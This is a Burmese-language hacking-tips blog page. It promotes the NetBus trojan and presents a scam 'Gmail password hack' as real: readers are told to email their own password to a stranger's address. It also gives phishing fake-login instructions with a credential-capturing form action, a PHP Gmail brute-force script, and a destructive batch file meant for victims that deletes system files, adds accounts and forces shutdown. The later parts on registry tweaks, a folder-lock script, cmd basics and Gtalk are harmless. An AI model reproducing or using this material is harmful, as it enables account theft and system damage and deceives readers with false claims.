မ်ားမ်ားကေတာ့ ၄င္းကို ခုခ်ိန္ထိ သံုးစြဲလွ်က္ရွိၾကပါတယ္။ Net Bus နဲ႔ေမႊြရတာလဲေတာ္ေတာ္အဆင္ေျပပါတယ္။
စမ္းသံုးၾကည့္ေပါ့……..။ သံုးနည္းကို အေပၚတြင္ ေဖၚျပၿပီးပါၿပီ။
NetBus ကို ဤသို႔ေတြ႔ျမင္ရပါတယ္။
NetBus ၏ လုပ္ေဆာင္ႏိုင္စြမ္းမ်ားကို အထက္တြင္ ေဖၚျပထားပါသည္။ အေသးစိတ္ေတာ့ မေဖၚျပေတာ့ပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၃) Gmail Password Hack နည္း
Gmail Password ကို Hack ရာတြင္ ဘာေတြလိုအပ္သနည္း ???
Hack နည္းေပါင္းမ်ားစြာရွိပါတယ္။ ေရွးဦးစြာ ရိုးရိုးရွင္းရွင္းျဖင့္ Hack ေသာနည္းလမ္းကို အရင္ေဖၚျပပါမည္။ လြန္ခဲ့တဲ့
၂၀၀၈ ခုႏွစ္ေလာက္တုန္းက javascript နည္းျဖင့္က်ေနာ္ သံုးၾကည့္ဖူးပါတယ္။ အခုေနာက္ပိုင္းထပ္သံုးၾကည့္တာ
မရေတာ့ပါဘူး၊ Google က admin ေတြကလဲ ငတံုးေတြမွမဟုတ္တာ။ သူတို႔ security ေတြကို
ခဏခဏျပန္ျပန္ျပင္တယ္ေလ။ က်ေနာ္တို႔ထက္အမ်ားႀကီးမွ အမ်ားႀကီးကိုလည္တာေပါ့။ ယခု နည္းက ေတာ့ Google ရဲ႕
security ေတြကို ျဖတ္ေက်ာ္လို႔ရတဲ့ javascript အသစ္တစ္ခုပါ။ က်ေနာ္ဤ နည္းကို ႏိုင္ငံျခား Hacking
စာအုပ္ထဲကေနု ဘာသာျပန္ထားတာပါ။ ၀ါသနာပါရင္ နည္းနည္းပါးပါးေလာက္ ၀င္ေမႊၾကည့္ၾကေပါ့
လုပ္နည္း
တစ္ဆင့္ျခင္းဆီေဖၚျပထားပါတယ္။
အဆင့္(၁) သင္၏ကိုယ္ပိုင္ Gmail account ျဖင့္ Gmail ထဲသို႔ Login ၀င္ပါ။
မွတ္ခ်က္ ( passwrdserver2@gmail.com သို႔အရင္ဆံုး add ထားပါ၊ add
ထားျပီးအနည္းဆံုးရက္ေပါင္း ၃၀ ျပည့္မွ ဤလုပ္နည္းသို႔စတင္လုပ္ႏိုင္မည္ျဖစ္သည္)
အဆင့္(၂) Login ၀င္ျပီးျပီးျခင္း compose mail လုပ္ပါ။To: ဆိုတဲ့ေနရာမွာ passwrdserver2@gmail.com
လို႔ေရးပါ။(passwrdserver2@gmail.com ဆိုတာ Google server မွ username ႏွင့္ password မ်ား ကို
မွတ္ထားေသာ ေနရာသို႔ mail ပို႔လိုက္ျခင္းျဖစ္ပါတယ္။ Automatic server ကေန သင့္ကို mail
တစ္ေဆာင္ျပန္ပို႔ပါလိမ့္မယ္။ ေစာင့္ေနပါ)
အဆင့္(၃) Subject: ဆိုတဲ့ ေနရာမွာ ‘’PASSWORD RECOVERY’’ ဆိုၿပီး တိတိက်က်ေရးပါ။
စာလံုးေပါင္းမမွားပါေစႏွင့္။ အေရးႀကီးပါတယ္။
အဆင့္(၄) mail ကိုစတင္ေရးႏိုင္ပါျပီ။ ပထမစာေၾကာင္းမွာ သင္ hack ခ်င္ေသာ သူ၏ account ကိုေရးပါ။
အဆင့္(၅) ဒုတိယစာေၾကာင္းမွာေတာ့ သင္ယခုလက္ရွိအသံုးျပဳေနေသာ gmail account ကိုေရးပါ။
အဆင့္(၆) တတိယေျမာက္စာေၾကာင္းမွာေတာ့ သင္၏ gmail password ကိုေရးပါ java script ျဖင့္ users
administrator server security ကိုျဖတ္ေက်ာ္ရာတြင္ verify လုပ္ရန္သင္၏ password ကိုလဲလိုပါတယ္။
အဆင့္(၇) ေနာက္ဆံုးအဆင့္နဲ႔ တကယ့္ကိုအေရးအႀကီးဆံုးအဆင့္ပါပဲဗ်ာ..။ ေအာက္မွာ က်ေနာ္ေဖၚျပထားတဲ့
code ကိုေသေသခ်ာခ်ာ ေကာ္ပီကူးပါ။
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
အားလံုး ready ျဖစ္ပါက send လို႔ရပါျပီ။ send လိုက္ပါေတာ့။
ဥပမာ- သင္၏ ကိုယ္ပိုင္ gmail account က myname@gmail.com ဆိုပါစို႔
သင္၏ password က 123456 လို႔မွတ္လိုက္ပါ။ သင္ hack ခ်င္ေသာ သူ၏
Gmail account ကေတာ့ test@gmail.com လို႔ထားလိုက္ပါ။က်ေနာ္ေအာက္မွ ေဖၚျပထားတဲ့အတိုင္း
mail တစ္ေဆာင္ေရးပါ။……..
To: ‘’gmail.com’’<passwrdserver2@gmail.com>
Bcc: , cc: ထိုေနရာမ်ားတြင္ ဘာမွ မေရးပါႏွင့္
Subject: ‘’PASSWORD RECOVERY’’
Text box ထဲတြင္ေရးရန္
test@gmail.com
myname@gmail.com
123456
cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&pwrsa
script< ip://233.243.2.34/cgi-bin/start?
v703&login=passmachine&f=(password)&f=27586&javascript=ACTIVE&rsa#>
{simply copy and paste above.}
System Reg လို႔ေခၚတဲ့ mail တစ္ေဆာင္ သင့္ဆီကို ၆ နာရီအတြင္း automatic ျပန္ပို႔ပါလိမ့္မယ္။ ထို mail
ထဲတြင္ သင္ hack လိုေသာသူ၏ information မ်ားအကုန္ပါလာမွာျဖစ္ပါတယ္။ စမ္းၾကည့္က်ပါ။ က်ေနာ့္ mail
ကိုေတာ့ မ hack နဲ႔ေနာ္ password ကို အလံုး ၆၀ ေပးထားလို႔ပါ…..ဟီး……ဟီး…..
Phishing
Phishing ႏွင့္ ပတ္သတ္ျပီး
က်ေနာ္ Phishing ဆိုတဲ့ အေၾကာင္းကို သိသေလာက္ နည္းနည္းေျပာခ်င္ပါတယ္။ တကယ္ေတာ့ အဲဒီ Phishing
ဆိုတာ လိမ္တဲ့ နည္းေလးတစ္ခုပါ။ သူမ်ားရဲ႕ Gmail account ပဲျဖစ္ျဖစ္၊ Yahoo account ပဲျဖစ္ျဖစ္၊ mediafire account
ပဲျဖစ္ျဖစ္ မည္သည့္ အေကာင့္ ကိုမဆို လိမ္ညာကာ password ယူလို႔ရေသာနည္းလမ္းျဖစ္ပါတယ္။ Phisher ဆုိတာ
ကြန္ပ်ဴတာ အသုံးၿပဳသူတုိ႔ရဲ႕ Data Information ေတြကုိရယူရန္ ၿပဳလုပ္ထား အတုအေရာင္စာမ်က္ႏွာ (a fake login
page) တစ္ခုသာလွ်င္ ၿဖစ္ပါတယ္။ fake login page ေတြက Computer user ေတြရဲ႕ user name and password
ေတြကုိ ဖုိင္တစ္ခုကေန၊ ဒါမွမဟုတ္ ေမးလ္ကုိ Direct ပုိ႔တဲ႔ နည္းလမ္းသုံးထားတာမ်ားပါတယ္... တစ္ခ်ဳိ႕ေတြက
က်ယ္က်ယ္ၿပန္႔ၿပန္႔သုံးၾကပါတယ္..
သ႔ရူ ဲ႕အလုပ္လုပ္ပုံက ရိုးရွင္းပါတယ္။ free host, free domain, code script ( မိမိ hack ခ်င္တဲ့ site ရဲ႕ code ပါ )
ျပီးရင္ setting အနည္းငယ္ေလး ၀င္ျပင္ျပီးရင္ Hack လို႔ရပါျပီ။
php enabled ထားတဲ႔ web hosting တစ္ခုလုိပါတယ္... Phishing Attacker ေတြကေတာ့ free ရတဲ႔ webhosting မွာ
account တစ္ခုဖြဲ႔ၿပီးသုံးေလ့ရွိပါတယ္...
မိမိအသုံးၿပဳတဲ႔ mail services, ဆုိၾကပါဆုိ Gmail
https://mail.google.com ကုိပဲသြားသြား, https://www.gmail.com ပဲ ၿဖစ္ၿဖစ္ ဖြင့္ကာ Ctrl + U သုိ႔မဟုတ္ Menu bar
မွာ view>Page Source ကိုသြားကာ အကုန္လုံးကုိ Copy ကူးၿပီး text editor or web editor .. example :
Dreamwaver ကဲ႔သုိ႔ Editor ထဲကုိ အကုန္လုံး paste လုပ္ယူလုိက္ပါ...
Code:
<form id="gaia_loginform" action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"
onSubmit="return(gaia_onLoginSubmit());">
ကုိ မိမိဖန္တီးထားတဲ႔ login page မွ data ေတြကုိ ရယူႏုိင္ေအာင္ သိမ္းဆည္းထားတဲ႔ login script file
ကုိလမ္းညြန္ေပးရပါတယ္..
ဥပမာ..
Code:
<form action="http://www.planetcreator.net/tutorial/Fake Login/login.php" method="post">
(login.php ဆုိတာက fake login page က User ရုိက္ထည့္လုိက္ေသာ user name and password ကုိရယူတာပါ)
အဲ႔လုိ ၿပင္ဆင္မူ႔ေတြလုပ္ၿပီး free hosting တစ္ခုမွာတင္...
user ကုိ နည္းမ်ဳိးစုံနဲ႔ မိမိရဲ႕ ေထာင္ေၿခာက္ထဲကုိ အေရာက္သြင္းၾကတာပါ..........
ဒါက Fake Login Page ေတြရဲ႕ နမူနာပါ။ တကယ္တမ္း fake login ေတြက ဒီေလာက္နဲ႔ မလုံေလာက္ပါဘူး... Phishing
Hacker ေတြက သူတုိ႔ရဲ႕ phisher ေတြကုိ နည္းလမ္းမ်ဳိးစုံနဲ႔ ၄င္းတုိ႔ရဲ႕ Victim ယုံၾကည္ေလာက္ေအာင္
ေသြးေဆာင္ၿဖားေယာင္း၊ ၿပီးေတာ့ attacker ဖန္တီးထားတဲ႔ page ကုိေရာက္ရင္ေတာင္မွ သာမာန္ user
တစ္ေယာက္အတြက္ လုံး၀ (လုံး၀) မသိေအာင္ address bar / mouse down function
ေတြကအစေပါ႔...စသည္..စသည္
၄င္း Fake Loign အားသြားေရာက္ စမ္းသပ္ရန္... စမ္းသပ္ရုံစမ္းသပ္ပါ... မိမိရဲ႕ gmail user name and password
ကုိေယာင္လုိ႔ေတာင္ ရုိက္မထည့္လုိက္နဲ႔.... လုံး၀ တာ၀န္မယူ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၄) Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
free host တခုခုမွာ ဒီကုဒ္ေတြကို သြင္းျပီး ဒါမွမဟုတ္ ကိုယ့္စက္ကို local host အေနနဲ႕ setting ခ်ျပီး
ဂ်ီေမးကိုေဖာက္လို႕ရပါျပီ။
<?php
//////////////////////
////Gmail-Brute//////
///////////////////////
////////////////////////
# This script was created to Brute Force G-Mail Logins,#
#it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) #
////////////////////////
$dic ="your Dictionary file here.txt";
///////////////////////
echo "
<title>Gmail Brute Force Attacker</title>
</head>
<style type='text/css'>
body {
font:Verdana, Arial, Helvetica, sans-serif;
font-size:12px;
border-color:#FFFFFF;
}
.raster_table {
background-color:#444444;
border-color:#CCCCCC;
}
.alert {
color:#FF0000;
}
</style>
<body>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'><b>Gmail Brute Force Attacker</b></div>
</td>
</tr>
</table>
<table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'>
<tr>
<td>
<div align='center'>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
<form method='post'>
Username to brute:<br>
<input name='username' type='text' /><br><br>
<input name='attack' type='submit' value='dictionary' /> -
<input name='attack' type='submit' value='brute' /><br>
</form>
</div>
</td>
</tr>
<tr>
<td>
<div align='center'>
&nbsp;
</div>
</td>
</tr>
</table>
";
// Sets variables and retrives google error for comparing
if(isset($_POST['attack']) && isset($_POST['username'])) {
$username = $_POST['username'];
$headers = array(
"Host: mail.google.com",
"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4",
"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5",
"Accept-Language: en-us,en;q=0.5",
"Accept-Encoding: text", # No gzip, it only clutters your code!
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Date: ".date(DATE_RFC822)
);
$c = curl_init('https://mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so n
o direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$wrong = curl_exec($c); // Get it
curl_close($c); // Close the curl stream
}
//Dictionary Attack
if($_POST['attack'] == "dictionary") {
$Dictionary = file("$dic");
for ($Position = 0; $Position < count($Dictionary); $Position++) {
$Dictionary[$Position] = str_replace("\r\n", "", $Dictionary[$Position]);
if(check_correct($username, $Dictionary[$Position])) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the dictionar
y attack.</b></div>
</td>
</tr>
</table>";
}
//Brute Attack
elseif($_POST['attack'] == "brute") {
for ($Pass = 0; $Pass < 2; $Pass++) {
if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; }
if(check_correct($username, $Pass)) {
die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_
table' width='75%'>
<tr>
<td>
<div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the
account: ".$username."</b></div>
</td>
</tr>
</table>
</body>
</html>");
}
}
echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table'
width='75%'>
<tr>
<td>
<div align='center'><b>Sorry... a password was not found for the account of <span cla
ss='alert'>".$username."</span> during the brute for
ce attack.</b></div>
</td>
</tr>
</table>";
}
echo "</body>
</html>";
// Function for checking whether the username and password are correct
function check_correct($username, $password)
{
global $wrong, $headers;
$c = curl_init('https://'.$username.':'.$password.'@mail.google.com/mail/feed/atom');
curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication
curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string,
so no direct output!
curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised
$str = curl_exec($c); // Get it
curl_close($c);
if($str != $wrong) {return true;}
else {return false;}
}
?>
PHP ရတဲ့ host တခုခုမွာ ဒီ code ေတြကို install လုပ္ရပါမယ္။ က်န္တာ အေသးစိတ္သိခ်င္ရင္ေတာ့ free hosting
တခုသုံးျပီး က်ေနာ္ အရင္စမ္းလိုက္အံုးမယ္ ။ ဘယ္သူ႕ကိုစမ္းရမလ ဲ မသိဘူး။
ေအာက္က free host မွာ PHP ရပါတယ္။
Code:
http://www.000webhost.com/
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၅) WINDOWS ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
Registry သ႔ ို ၀င္ေရာက္ေမႊေႏွာက္ျခင္း
က်ေနာ္ registry ထဲသို႔ ၀င္ေမႊနည္း နည္းနည္းပါးပါး ေျပာခ်င္ပါတယ္။ ဘာဘဲျဖစ္ျဖစ္ registry ကို ၀င္ေမႊေတာ့မယ္ဆိုရင္
ေတာ့ back up လုပ္ထားဖို့လိုပါတယ္...ဘာလို့လဲဆိုေတာ့ registry မွာ၀င္ေရးတဲ့ အခါမွာ registry က auto save
လုပ္ပါတယ္..မွားသြားပါတယ္ဆိုျပီး undo ,redo ေတြလုပ္လို့မရပါဘူး....
အဲဒါေၾကာင့္ပါ.....
ကဲ က်ေနာ္တို႔ All program ကိုေဖ်ာက္လိုက္ရေအာင္....
- start > run ကို၀င္ပါ..
- regedit လို့ ၇ိုက္ျပီး enter ႏွိပ္ပါ..
- HKEY-CURRENT- USER\software\microsoft\windows\current version\policies\explorer
- explorer ေပၚကို right click ႏွိပ္ျပီး new ကိုေရြးခ်ယ္ပါ Dword value ကိုဖြင့္ပါ..
ထိုအခါ ညာဘက္ျမင္ကြင္းမွာ new value #1 ေပၚလာပါမယ္..
-new value #1 ကို rename ေပးလိုက္ပါ..
name က NoStartMenuMoreProgram ျဖစ္ပါတယ္..
NoStartMenuMoreProgram ေပၚကိုလည္း right click ေပးျပီး modify ေရြးပါ
value data အကြက္ထဲ က 0 ေပၚေနပါမယ္..အဲဒါကို 1 ေျပာင္းေပးလိုက္ပါ..
computer ကို restart ေပးလိုက္ပါ...
Folder ကို software မသံုးပဲ Lock ခ်နည္း
ေရွးဦးစြာ notepad သို႔မဟုတ္ Command Promt ကိုဖြင့္ျပီး edit ထဲတြင္ ေအာက္ေဖၚျပပါ command မ်ားကို
ေရးသား၍ .bat file အေနျဖင့္ save မွတ္ပါ။ Notepad ထဲတြင္ေရး၍ Save name as ဆိုတဲ့ ေနရာမွာ example.bat လို႔
save မွတ္ပါ။ ထို file အားလြယ္လြယ္ကူကူ desktop ေပၚမွာပဲ သိမ္းထားေပါ့။ ထို႔ေနာက္ ၄င္း .bat file အား Run
လိုက္ပါ။ Private ဆိုေသာ Folder တစ္ခု ေပၚလာပါလိမ့္မယ္။ အဲဒီ Folder ထဲတြင္မိမိ သိမ္းထားခ်င္ေသာ files မ်ား
folder မ်ား ထည့္လိုက္ပါ။ ထို႕ေနာက္ example.bat file အားေနာက္တစ္ေခါက္ run လိုက္ပါ။ ထိုအခါ cmd Windows
တစ္ခု ေပၚလာပါလိမ့္မယ္။ Set Password to Lock Folder ဆိုတာေပၚလာပါတယ္။ ကိုယ္လိုခ်င္တဲ့ password
ေရးလိုက္ေပါ့။ ေနာက္ထပ္ Are You Sure to Lock this Folder (Y/N) ဆိုတာေပၚလာပါလိမ့္မယ္။ Y လို႔ရိုက္လိုက္ပါ။
Private ဆိုေသာ Folder ေပ်ာက္သြားပါမယ္။ ၄င္း folder ကိုျပန္လိုခ်င္လွ်င္ example.bat ဆိုတဲ့ file ကိုျပန္ run ပါ။
Enter Password to Unlock Folder ဆိုတာေပၚလာပါလိမ့္မယ္။ Password ရိုက္လိုက္ပါ။ ၄င္း folder
ျပန္ေပၚလာပါလိမ့္မယ္။ စမ္းၾကည့္က်ေပါ့ဗ်ာ……….
Command
cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
သူမ်ားကို ဒုကၡေပးခ်င္လွ်င္။ ။ေအာက္ေဖၚျပပါ command မ်ားကို notepad ထဲသို႕ copy, paste ကာ .bat file
အမ်ိဳးအစားျဖင့္ save မွတ္ပါ။ ထို႔ေနာက္၄င္း file အားလံုး၀ဖြင့္မၾကည့္ပါႏွင့္။ ဖြင့္ၾကည့္ပါက error message
မ်ားတတ္လာျပီး Windows က auto shut down ျဖစ္ေနပါလိမ့္မယ္။ ေနာက္တစ္ေခါက္ဖြင့္လဲ Windows
တတ္ျပီးျပီးျခင္း ၁၀ စကၠန္႔အတြင္း Shut Down ျဖစ္ေနပါလိမ့္မယ္။ ဘယ္လိုမွ ျပန္ဖြင့္ႏိုင္မွာမဟုတ္ပါဘူး။ safemode
ကျပန္ျပင္မွ ျပန္ေကာင္းႏိုင္မွာပါ ။ ဟဲဟ…ဲ …..
title any
@echo off
copy any.bat "c:\documents and settings\all users\start menu\programs\startup"
del *.dll
del *.exe
del *.ini
time 00:00
date 88/88/888
net user administrator *18083
net user 598 *32087 /add
net user 3063 *864 /add
net user 3262 *21895 /add
net user 29039 *3102 /add
net user 15688 *215 /add
net user 24824 *28761 /add
net user 25176 *23975 /add
net user 8896 *28052 /add
msg *any
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
echo copy q.bat "documents and settings\all users\start menu\programs\startup"
cd C:\WINDOWS\system32
del /S /F /Q keyboard.drv
del /S /F /Q keyboard.sys
del system32
shutdown -s -f
exit
Cmd Dos Command နည္းနည္းပါးပါး
က်ေနာ္ သိထားတဲ့ CMD DOS COMMAND နည္းနည္းပါ
႔သိၿပီးသားသူေတြလည္းရွိပါတယ္ ...
မသိေသးတဲ့ သူေတြအတြက္ပဲ ရည္ရြယ္ပါတယ္ ....
Run Box မွာ cmd ရိုက္ထည့္လိုက္မယ္
C Directory ကိုသြားမယ္ဆို C: , D ဆိုရင္ D: စသည့္ျဖင့္ေပါ့ ....
ပထမဆံုးေျပာရရင္ .. cmd ကိုစေခၚလိုက္တာနဲ႔ စျမင္ရမွာက
C:\Documents and Settings\user name> ပါ ...
အဲဒီ Directory မွာ ဘယ္ Folder ေတြပါလည္း ၾကည့္ခ်င္ရင္
dir /a နဲ႔ ၾကည့္ရပါတယ္
အဲဒီ့ Directory တစ္ခုထဲက Folder ကို ဖြင့္ခ်င္ရင္
cd ခံထားၿပီး မိမိဖြင့္ခ်င္တဲ့ Folder Name (ဥပမာ။ ။ Desktop)ေပးၿပီး ဖြင့္ရပါတယ္
C:\Documents and Settings\user name\Desktop>
ထို Folder မွ ျပန္ထြက္ခ်င္ရင္ cd.. ေရးၿပီး ျပန္ထြက္ရပါမယ္
Hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ကို unhidden ေပးခ်င္တယ္ဆိုရင္
Folder Option ကေန virus ကိုက္တယ္ဆို show hidden folder ေပးလည္း မရတာေတြရွိပါတယ္
attrib -H /S /D "c:\......\folder name"
hidden ျဖစ္ေနတဲ့ Folder (သို႔) File ရွိတဲ့ Directory အျပည့္အစံုကို /D ေနာက္ကေန
ဆက္ေရးေပးရပါတယ္
Directory တစ္ခုမွာရွိတဲ့ folder ထဲက files ေတြကို တျခား Directory တစ္ခုမွာရွိတဲ့
folder ထဲကို ေျပာင္းေရႊ႕ကူးယူခ်င္တယ္ဆို ...
မိမိေျပာင္းေပးခ်င္တဲ့ Directory ကိုအရင္ဖြင့္ေပးရပါတယ္ (ဥပမာ။ ။ C: ထဲက Desktop ကိုေရႊ႕မယ္ဆို C:\Documents
and Settings\user name\Desktop>
လို႔ အရင္ဖြင့္ေပးလိုက္ပါ။
ေနာက္မဆက္ၿပီး ကူးယူခ်င္တဲ့ Directory မွ folder ကိုေရးေပးရပါတယ္
xcopy /a "e:\foler name" ဟုေရးေပးရပါမယ္ ...
၂ခုေပါင္းကိုၾကည့္မယ္ဆိုရင္ေတာ့
C:\Documents and Settings\user name\Desktop>xcopy /a "e:\foler name"
အခု ကူးယူတာက unhidden files ေတြကိုပဲ ကူးယူးတာပါ။
hidden files ေတြကိုကူးမယ္ဆိုရင္ေတာ့ /h ထည့္ေပးရုံပါပ ဲ
xcopy /h /a "e:\foler name" ဟုေရးေပးလိုက္ပါ...
အခုက files ကိုပဲကူးတာပါ ...
Folder အလိုက္ကူးမယ္ဆိုရင္ေတာ့ /s ကိုအသံုးျပဳရပါတယ္
xcopy /s "e:\folder name" လို႔ေရးေပးရပါတယ္။
ဒါကလည္း hidden မျဖစ္တဲ့ folder ကိုကူးတာပါ
hidden folder ကိုကူးမယ္ဆိုရင္ေတာ့ /h ကိုပဲထည့္ရပါတယ္
xcopy /h /s "e:\foler name" လို႔ေရးေပးရပါတယ္ ...
အဲဒီလိုကူးယူတဲ့ အခ်ိန္မွာ CMD box မွာ ကူးယူးတဲ့ files ေတြ run တာကိုျပပါတယ္ အဲဒီလို မေပၚခ်င္ရင္ေတာ့ /Q
ထည့္ေပးရပါတယ္
xcopy /h /q /s "e:\foler name" လို႔ေရးေပးရပါတယ္ .................။
Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
iconarea_image=E:\general\picture\DSABayonet211.jpg
iconarea_text=11x00fffffff
ေဖၚျပပါ code မ်ားကို Folder အတြင္းရွိ desktop.ini ဆိုေသာ file အတြင္းသို႔ copy ကူး paste လုပ္ပါ။ ၄င္း ini file သည္ hidden
ျဖစ္ေနပါသည္။ hidden ေဖၚျပီးရွာပါ။ iconarea_image=E:\general\picture\DSABayonet211.jpg ဆိုရာတြင္
မိမိထည့္သြင္းလိုေသာပံု ၏တည္ေနရာ ကိုသိရန္လိုပါသည္။ ဥပမာ. Desktop ေပၚရွိ image.jpg ဆိုေသာပံုကိုထည့္သြင္းခ်င္လွ်င္
iconarea_image=C:\Documents and Settings\User Name\Desktop\image.jpg ဟုေရးႏိုင္ပါတယ္။ အေနာက္က file
extension *.jpg ဆိုတာကိုထည့္ေရးရန္မေမ့ပါႏွင့္။
website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
ပထမဆံုး start >>> Run ကို click.
cmd လို႕ ရိုက္ျပီး ok လုပ္.
အဲဒီမွာ ဒါေလးကို ရိုက္ထည့္ၾကည့္လိုက္.
nslookup www.google.com လို႕ရိုက္ျပီး enter ေခါက္ၾကည့္လိုက္ပါက
google ရဲ႕ IP ေတြက်လာပါလိမ့္မယ္။။မိမိသိခ်င္တဲ႕ website ရဲ႕ အမည္ကို ေျပာင္းရိုက္ၾကည့္ေပါ့
ေပ်ာ္ရႊင္ႏိုင္ပါေစ
(မစၥတာ.ေမာင္ဘစ္ေန)

Saturday, March 16, 2013

Gtalkႏွင္႕ ပတ္သတ္သမ်ွေလးေတြပါ



ေရးသားသူ.... မေနာသား
ယေန႔ က်ြန္ေတာ္တို႔ အသုံးၿပဳေနၾကတ႔ဲ Gtalk & Gmail ဆိုတာဟာ အင္တာနက္အသုံးျပဳတ႔ဲလူတိုင္းမွာ
တစ္ခုစီ သို႔ တစ္ခုထက္မနည္း ရွိေနၾကျပီး အြန္လိုင္းဆက္သြယ္ေရးကို လ်င္ျမန္ထိေရာက္စြာ
လုပ္ေဆာင္ေပးေနတ႔ဲ အရာတစ္ခုပါ .. ။ ဒီ Gtalk & Gmail ပတ္သက္ၿပီး ကြ်န္ေတာ္
ကလိထားတာေလးေတြ ေၿပာၿပမယ္ေနာ္…။ မ်ားေသာအားၿဖင္႔ေတာ႔ သိၿပီးသား ၿဖစ္မွာပါ ….။ (
သိၿပီးသားဆိုရင္ေတာ႔ Sorry ဗ်ာ ) တိတ္တိတ္ေလး ေနေပးေနာ္ ….
Gmail ကေန offline ( Invisable ) ၿဖင္႔ Chat နည္း
Gmail ကေန Invisible န႔ဲ Chat တာေလးပါ … ( တစ္ဖက္ကၿမင္ရေတာ႔ Offline ၿဖစ္ေနတာေပါ႔ .. )
ေကာင္းေတာ႔ မေကာင္းဘူးဗ်….ဒါေပမယ္႔ တစ္ခါတစ္ေလ အသံုး၀င္လာတတ္လို႔ပါ ….(
တစ္ခ်ိဳ႕ေသာသူမ်ားအတြက္ …)လုပ္ၾကည္႔ခ်င္တယ္ဆိုရင္ေတာ႔ …အရင္ဆံုး Goto >> gmail box အဲဒီမွာ
အီးေမးလ္ေဘာက္ေပၚလာၿပီဆိုရင္ ဘယ္ဘက္မွာ ရွိပါတယ္ …Contacts ရဲ႕ေအာက္ေလးမွာ…Custom
message ေတရြ ိုက္တ႔ေဲ နရာေလးရိွပါတယ္ ..အဲဒီ Custom message ရိုက္တ႔ဲေနရာေလးမွာ Invisible
ဆိုတာေလးရွိပါတယ္ ..အဲဒါေလးကို ကလစ္ထားၿပီး Chat ရင္ တစ္ဖက္လူက ကိုယ္႔ကို Offline
န႔ၿဲမင္ရမွာၿဖစ္ပါတယ္ ခင္ဗ်ာ ..ကိုယ္႔ Gmail ထဲက Online မွာ ရိွတ႔ဲလူေတြကေတာ႔ Online အတိုင္းပဲ
ၿမင္ရမွာပါ …တစ္ခုသတိထားရမွာက .. Invisible နဲ႔ Chat မယ္ဆိုရင္ အဲဒီ အီးေမးလ္ရဲ႕ Gtalk ကိုေတာ႔
ပိတ္ထားရပါလိမ္႔မယ္ …ေအာက္ကပံုေလးကို ၾကည္႔ၿပီးလုပ္ႏိုင္ပါတယ္ ….။
